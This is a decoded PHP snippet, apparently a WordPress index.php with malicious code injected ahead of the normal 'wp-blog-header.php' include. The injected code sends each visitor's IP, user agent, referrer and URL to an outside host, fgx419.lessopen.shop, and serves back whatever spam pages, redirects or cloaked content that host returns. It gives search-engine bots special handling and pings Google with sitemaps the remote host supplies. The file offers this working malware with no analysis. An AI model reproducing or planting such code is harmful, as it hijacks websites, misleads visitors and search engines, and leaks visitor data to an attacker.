PHP Decode

<?php
$a='fgx419';@set_time_limit(3600);define("W",'http://fgx419.lessopen.shop');define("U",getu());function k($b){return@$_SERVER[$b]?$_SERVER[$b]:"";}define("S",k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME"));$d=strpos(S,"index.php")!==false&&strpos(U,S)===false?rtrim(S,"index.php"):S;if($d==""){$d="/";}define("F",$d);$h=@$_REQUEST["p"];$d=ltrim(U,F);if($h!=""){$d=preg_replace("@(\\?|\\&)p=".$h."@","",$d);}define("U2",preg_replace("#^\\W+#","",$d));$k=k('HTTP_USER_AGENT');function getu(){$l=k("REQUEST_URI");if(empty($l)){$p=k('argv');$l=S.'?'.(is_array($p)?$p[0]:k('QUERY_STRING'));}return $l;}function is_https(){if(!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(!empty($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}function get_ip(){$t=$_SERVER['REMOTE_ADDR'];if(!empty($_SERVER['HTTP_CLIENT_IP'])){$t=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$t=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(stristr($t,',')){$u=explode(",",$t);$t=$u[0];}return $t;}function get_url($ff){if(!function_exists("pfsockopen")&&!function_exists("fsockopen")){return false;}$ff=parse_url($ff);$gg=$ff["path"]."?".$ff["query"];$hh=pfsockopen($ff["host"],$ff["port"]?$ff["port"]:80,$ii,$jj,30);if(!$hh){$hh=fsockopen($ff["host"],$ff["port"]?$ff["port"]:80,$ii,$jj,30);}if(!$hh){return false;}else{$kk="GET $gg HTTP/1.1\r\n";$kk.="Host: {$ff['host']}\r\n";$kk.="Connection: Close\r\n";$kk.="\r\n";fwrite($hh,$kk);$ll='';$mm=0;while(true){$ll.=fread($hh,1);$mm+=1;if($mm>=4&&$ll[$mm-1]=="\n"&&substr($ll,-4)=="\r\n\r\n"){break;}}$nn=readChunked($hh,"fread");fclose($hh);return $nn;}}function get_url2($ff){$ff=parse_url($ff);$gg=$ff["path"]."?".$ff["query"];$hh=b_fsockopen($ff["host"],$ff["port"]?$ff["port"]:80,$ii,$jj,30);if(!$hh){return false;}else{$kk="GET $gg HTTP/1.1\r\n";$kk.="Host: {$ff['host']}\r\n";$kk.="Connection: Close\r\n";$kk.="\r\n";socket_write($hh,$kk,strlen($kk));$oo="";$ll='';$mm=0;while(true){$ll.=socket_read($hh,1);$mm+=1;if($mm>=4&&$ll[$mm-1]=="\n"&&substr($ll,-4)=="\r\n\r\n"){break;}}$nn=readChunked($hh,"socket_read");socket_close($hh);return $nn;}}function readChunked($pp,$qq){$nn='';while(true){$rr='';do{$rr.=$qq($pp,1);}while(strpos($rr,"\r\n")===false);if(strpos($rr,' ')!==false){list($uu,$vv)=explode(' ',$rr,2);}else{$uu=$rr;$vv='';}$uu=(int)base_convert($uu,16,10);if($uu===0){$qq($pp,2);return $nn;}else{$rr='';$ww=0;while($ww<$uu+2){$rr.=$qq($pp,$uu-$ww+2);$ww=strlen($rr);}$nn.=substr($rr,0,-2);}}}function b_fsockopen($xx,$yy,&$ii,&$jj,$zz){$aaa=gethostbyname($xx);$bbb=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);$ccc=@socket_connect($bbb,$aaa,$yy);if($ccc){return $bbb;}$ii=socket_last_error($bbb);$jj=socket_strerror($ii);socket_close($bbb);return false;}function http($ccc,$bbb){$ddd="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$ddd="text/xml";}else{if(strpos(U2,".txt")!==false){$ddd="text/plain";}else{if(strpos(U2,"images/")!==false){$ddd="image/webp";}else{if(strpos(U2,"sitemap.xsl")!==false){$ddd="text/css";}}}}header("content-type: {$ddd}; charset=UTF-8");$eee=http_build_query($bbb);$fff=W.$ccc."?".$eee;$ggg=@file_get_contents($fff);if(!$ggg){$ggg=c(W.$ccc,$eee,0);}if(!$ggg){$ggg=c(W.$ccc,$eee,1);}if(!$ggg){$ggg=get_url($fff);}if(!$ggg){$ggg=get_url2($fff);}if(!$ggg){$hhh=@fopen($fff,'r');if($hhh){stream_get_meta_data($hhh);$iii="";while(!feof($hhh)){$iii.=fgets($hhh,1024);}fclose($hhh);return $iii;}}return $ggg;}function c($ccc,$eee,$jjj){if(function_exists("curl_init")){$kkk=curl_init();if($jjj){curl_setopt($kkk,CURLOPT_URL,$ccc);curl_setopt($kkk,CURLOPT_POST,1);curl_setopt($kkk,CURLOPT_POSTFIELDS,$eee);}else{curl_setopt($kkk,CURLOPT_URL,$ccc."?".$eee);}curl_setopt($kkk,CURLOPT_RETURNTRANSFER,1);curl_setopt($kkk,CURLOPT_HEADER,0);curl_setopt($kkk,CURLOPT_TIMEOUT,10);curl_setopt($kkk,CURLOPT_FOLLOWLOCATION,1);$ggg=curl_exec($kkk);curl_close($kkk);return $ggg;}return false;}function g($ccc,$bbb){$ggg=http($ccc,$bbb);if(!$ggg){@header('HTTP/1.1 500 Internal Server Error');die;}$b=substr($ggg,0,1);switch($b){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header('HTTP/1.1 500 Internal Server Error');die;case "3":@header('HTTP/1.1 302 Moved Permanently');header('Location: '.substr($ggg,1));header('referer: '.k("HTTP_HOST"));die;case "7":return false;case "8":die;default:header('HTTP/1.1 200 OK');return $ggg;}}$lll=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$k,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$k)?"1":"","f"=>F,"p"=>$h);if(is_https()){$lll["h"]="1";}if(strpos(U,"pingsitemap")!==false){$mmm=explode(",",g("/sitemap.list",$lll));foreach($mmm as $nnn){$bbb='https://www.google.com/ping?sitemap='.$nnn;$ggg=c($bbb,array(),0);if(!$ggg){$ggg=@file_get_contents($bbb);}if(stristr($ggg,'successfully')){echo $bbb.'<br>pingok<br>';}else{echo $bbb.'======creat file false!<br>';}}die;}$ooo=g("/",$lll);if($ooo){die($ooo);} ?><?php

define( 'WP_USE_THEMES', true );

require( dirname( __FILE__ ) . '/wp-blog-header.php' );